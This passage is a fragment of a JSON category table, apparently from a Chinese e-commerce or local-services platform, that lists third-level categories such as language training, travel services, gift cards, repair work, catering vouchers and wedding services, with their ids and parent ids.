,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27662,"name":"摄影摄像","parent_cid":21417,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27559,"name":"舞蹈","parent_cid":21417,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27561,"name":"音乐","parent_cid":21417,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27560,"name":"运动","parent_cid":21417,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27658,"name":"主持表演","parent_cid":21417,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27661,"name":"其他兴趣","parent_cid":21417,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27238,"name":"笔译服务","parent_cid":21281,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27237,"name":"方案策划","parent_cid":21281,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27234,"name":"口译服务","parent_cid":21281,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26926,"name":"office办公制作","parent_cid":21281,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27235,"name":"宣传文案","parent_cid":21281,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27525,"name":"儿童兴趣","parent_cid":21361,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27529,"name":"家长教育","parent_cid":21361,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27527,"name":"启蒙早教","parent_cid":21361,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27536,"name":"中小幼师资培训","parent_cid":21361,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27297,"name":"办公软件&效率软件/电脑基础","parent_cid":21280,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27442,"name":"互联网产品运营/电商运营","parent_cid":21280,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26923,"name":"IT职业/编程/计算机考试","parent_cid":21280,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27233,"name":"驾驶技能","parent_cid":21280,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27443,"name":"烹饪烘焙小吃餐饮培训","parent_cid":21280,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27322,"name":"企业人力资源/市场营销/职业规划","parent_cid":21280,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27041,"name":"设计·创作/影音游戏动画","parent_cid":21280,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27231,"name":"投资理财","parent_cid":21280,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27426,"name":"项目管理培训/经济师培训","parent_cid":21280,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27398,"name":"其他技能培训","parent_cid":21280,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26388,"name":"海外学业辅导","parent_cid":21020,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26369,"name":"留学申请","parent_cid":21020,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26364,"name":"游学/研学","parent_cid":21020,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26669,"name":"财务/会计培训","parent_cid":21072,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26677,"name":"公务员培训","parent_cid":21072,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26668,"name":"IT资格认证","parent_cid":21072,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26685,"name":"建筑地产类培训","parent_cid":21072,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26679,"name":"教师资格培训","parent_cid":21072,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26673,"name":"司法考试","parent_cid":21072,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26678,"name":"研究生辅导","parent_cid":21072,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26684,"name":"医学类资格认证","parent_cid":21072,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26689,"name":"远程网络教育培训","parent_cid":21072,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26680,"name":"自学考试培训","parent_cid":21072,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26692,"name":"其他职业资格认证培训","parent_cid":21072,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26983,"name":"德语","parent_cid":21283,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26982,"name":"俄语","parent_cid":21283,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26985,"name":"法语","parent_cid":21283,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26987,"name":"韩语","parent_cid":21283,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27240,"name":"汉语学习","parent_cid":21283,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27241,"name":"葡萄牙语","parent_cid":21283,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26984,"name":"日语","parent_cid":21283,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27432,"name":"数字化语言学习","parent_cid":21283,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27242,"name":"西班牙语","parent_cid":21283,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26986,"name":"英语","parent_cid":21283,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":27401,"name":"语言师资培训","parent_cid":21283,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27239,"name":"其他语种","parent_cid":21283,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27340,"name":"机器人教育/学习平台","parent_cid":21282,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28271,"name":"境内酒景套餐","parent_cid":21677,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28269,"name":"境内玩乐单项","parent_cid":21677,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28270,"name":"境内玩乐套餐","parent_cid":21677,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28318,"name":"境外电话卡/手机卡","parent_cid":21706,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28316,"name":"境外电话卡/wifi流量充值","parent_cid":21706,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28317,"name":"境外流量包/充值","parent_cid":21706,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28315,"name":"境外随身WIFI租赁","parent_cid":21706,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28314,"name":"旅行设备/相机/翻译机租赁","parent_cid":21706,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28289,"name":"境内线路定制","parent_cid":21692,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28292,"name":"机场行李托运取送寄存","parent_cid":21693,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28291,"name":"机场周边停车位","parent_cid":21693,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28290,"name":"机票增值产品","parent_cid":21693,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28295,"name":"普通签证","parent_cid":21701,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28298,"name":"签证入台证增值服务","parent_cid":21701,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28297,"name":"签证直营","parent_cid":21701,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28293,"name":"入金证","parent_cid":21701,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28294,"name":"入台证(自由行)","parent_cid":21701,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28299,"name":"入台证(短期商务等)","parent_cid":21701,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28311,"name":"旅行社/网站优惠券","parent_cid":21705,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28313,"name":"平台有价优惠券","parent_cid":21705,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28305,"name":"地陪/讲解/翻译/咨询服务","parent_cid":21704,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28306,"name":"酒店SPA/足浴/温泉","parent_cid":21704,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28307,"name":"旅行拍照","parent_cid":21704,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28308,"name":"美食卡券/酒店餐饮卡券","parent_cid":21704,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28275,"name":"巴士/地铁/交通卡/一卡通","parent_cid":21686,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28277,"name":"代驾服务","parent_cid":21686,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28280,"name":"接送(机场/点对点/拼车)","parent_cid":21686,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28276,"name":"租车/租车自驾游","parent_cid":21686,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28278,"name":"租车服务","parent_cid":21686,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28272,"name":"船票","parent_cid":21681,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28274,"name":"境内邮轮","parent_cid":21681,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28285,"name":"境内跟团游","parent_cid":21691,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28284,"name":"境内自由行","parent_cid":21691,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31882,"name":"代订酒店餐饮美食","parent_cid":31879,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31881,"name":"代订酒店服务","parent_cid":31879,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31880,"name":"代订酒店套餐","parent_cid":31879,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28323,"name":"酒店餐饮美食","parent_cid":21712,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28322,"name":"酒店服务","parent_cid":21712,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28319,"name":"境内套餐","parent_cid":21707,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28320,"name":"境外套餐","parent_cid":21707,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28321,"name":"在线预约套餐","parent_cid":21707,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28312,"name":"酒店优惠券","parent_cid":32633,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28366,"name":"付费会员卡","parent_cid":21726,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28374,"name":"超市商场","parent_cid":21730,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28350,"name":"提货卡","parent_cid":21724,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28353,"name":"办公/文化用品","parent_cid":21725,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28363,"name":"超市优惠券","parent_cid":21725,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28358,"name":"服饰鞋包","parent_cid":21725,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28354,"name":"化妆品","parent_cid":21725,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28356,"name":"家具家居","parent_cid":21725,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28365,"name":"年货购物礼品卡","parent_cid":21725,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28351,"name":"书店/书城","parent_cid":21725,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28357,"name":"数码家电","parent_cid":21725,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28361,"name":"运动户外","parent_cid":21725,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28364,"name":"其它购物券/礼品卡","parent_cid":21725,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28369,"name":"甜品/冰淇淋/冷饮","parent_cid":21731,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28349,"name":"西点/面包/蛋糕","parent_cid":21721,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28348,"name":"月饼","parent_cid":21721,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28390,"name":"干货炒货提货券","parent_cid":21732,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28371,"name":"海鲜/水产提货券","parent_cid":21732,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28368,"name":"酒水/饮料/饮用水券","parent_cid":21732,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28391,"name":"粮油米面提货券","parent_cid":21732,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28372,"name":"生肉/禽蛋提货券","parent_cid":21732,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28370,"name":"蔬菜/年夜饭/熟食/半成品券","parent_cid":21732,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28380,"name":"水果提货券","parent_cid":21732,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28373,"name":"速冻/冷冻食品券","parent_cid":21732,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28381,"name":"粽子提货券","parent_cid":21732,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28389,"name":"其他食品提货券","parent_cid":21732,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28618,"name":"保障服务","parent_cid":21780,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28623,"name":"笔记本维修","parent_cid":21780,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28617,"name":"会员服务","parent_cid":21780,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28613,"name":"联保/延保","parent_cid":21780,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28615,"name":"屏碎保","parent_cid":21780,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28625,"name":"软件维护服务","parent_cid":21780,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28620,"name":"手机维修","parent_cid":21780,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28624,"name":"数码维修服务","parent_cid":21780,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28619,"name":"台式电脑","parent_cid":21780,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28614,"name":"维修/清洁/保养","parent_cid":21780,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28622,"name":"相机维修","parent_cid":21780,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28616,"name":"意外保","parent_cid":21780,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28626,"name":"其他数码产品维修","parent_cid":21780,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28834,"name":"报刊杂志订阅","parent_cid":22110,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28742,"name":"代办/跑腿","parent_cid":22110,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28769,"name":"废品回收","parent_cid":22110,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28738,"name":"改衣","parent_cid":22110,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28773,"name":"起名服务","parent_cid":22110,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28848,"name":"生活服务优惠券","parent_cid":22110,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28772,"name":"蔬果配送","parent_cid":22110,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28763,"name":"水电煤/生活缴费","parent_cid":22110,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28745,"name":"修伞/修表/修鞋","parent_cid":22110,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28750,"name":"眼镜/配镜服务","parent_cid":22110,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28914,"name":"餐饮实物卡","parent_cid":22139,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28896,"name":"茶楼/茶馆","parent_cid":22139,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28911,"name":"烘焙糕点","parent_cid":22139,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28898,"name":"火锅/干锅/豆捞","parent_cid":22139,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28900,"name":"快餐/小吃/西式快餐","parent_cid":22139,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28913,"name":"日韩料理/亚洲美食","parent_cid":22139,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28899,"name":"烧烤/烧肉/烤鱼","parent_cid":22139,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28901,"name":"甜品/冰淇淋/咖啡/冷饮","parent_cid":22139,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28910,"name":"外卖卡券","parent_cid":22139,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28895,"name":"西餐","parent_cid":22139,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28903,"name":"中餐/地方菜系","parent_cid":22139,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28904,"name":"自助餐","parent_cid":22139,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28917,"name":"其他美食折扣券","parent_cid":22139,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28890,"name":"视频/音频/电子相册制作","parent_cid":22134,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28892,"name":"图片设计/处理","parent_cid":22134,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28739,"name":"打孔","parent_cid":22114,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28813,"name":"电路安装/维修","parent_cid":22114,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28800,"name":"防水补漏","parent_cid":22114,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28796,"name":"房屋翻新","parent_cid":22114,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28798,"name":"管道疏通","parent_cid":22114,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28821,"name":"化粪池处理","parent_cid":22114,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28746,"name":"开锁/修锁/换锁","parent_cid":22114,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28801,"name":"马桶疏通","parent_cid":22114,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28799,"name":"门窗维修","parent_cid":22114,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28811,"name":"暖气安装/维修","parent_cid":22114,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28810,"name":"墙面粉刷/补裂","parent_cid":22114,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28812,"name":"水管安装/维修","parent_cid":22114,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28797,"name":"灶具维修","parent_cid":22114,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28921,"name":"服饰清洗","parent_cid":22145,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28920,"name":"服饰养护","parent_cid":22145,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28882,"name":"打印服务","parent_cid":22133,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28874,"name":"灯箱","parent_cid":22133,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28880,"name":"复印服务","parent_cid":22133,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28877,"name":"告示牌/指示牌","parent_cid":22133,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28884,"name":"广告位招租","parent_cid":22133,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28885,"name":"广告语设计","parent_cid":22133,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28888,"name":"广告展示架制作","parent_cid":22133,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28881,"name":"广告制作","parent_cid":22133,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28878,"name":"会展服务","parent_cid":22133,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28883,"name":"活动策划","parent_cid":22133,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28873,"name":"喷绘","parent_cid":22133,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28886,"name":"批量印刷服务","parent_cid":22133,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28875,"name":"条幅/横幅","parent_cid":22133,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28887,"name":"推广文案撰写","parent_cid":22133,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28872,"name":"写真","parent_cid":22133,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28879,"name":"信息发布","parent_cid":22133,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28876,"name":"招牌字/门头","parent_cid":22133,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28889,"name":"其他广告营销服务","parent_cid":22133,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28654,"name":"本地婚纱摄影","parent_cid":22100,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28648,"name":"婚车服务","parent_cid":22100,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28646,"name":"婚礼表演","parent_cid":22100,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28645,"name":"婚礼策划","parent_cid":22100,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28647,"name":"婚礼跟拍","parent_cid":22100,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28650,"name":"婚礼化妆/跟妆","parent_cid":22100,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28644,"name":"婚礼摄影","parent_cid":22100,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28651,"name":"婚礼司仪/主持人","parent_cid":22100,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28649,"name":"婚庆布置/装饰","parent_cid":22100,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28641,"name":"婚纱/礼服服务","parent_cid":22100,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28643,"name":"婚宴酒店","parent_cid":22100,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28653,"name":"旅游婚纱摄影","parent_cid":22100,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28640,"name":"写真/亲子/全家福摄影","parent_cid":22100,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28906,"name":"保障服务","parent_cid":22137,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28912,"name":"电器延保/增值服务","parent_cid":22137,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28907,"name":"空调维修","parent_cid":22137,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28905,"name":"微波炉/电磁炉维修","parent_cid":22137,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28897,"name":"维修/清洁/保养","parent_cid":22137,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28902,"name":"音响/功放维修","parent_cid":22137,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_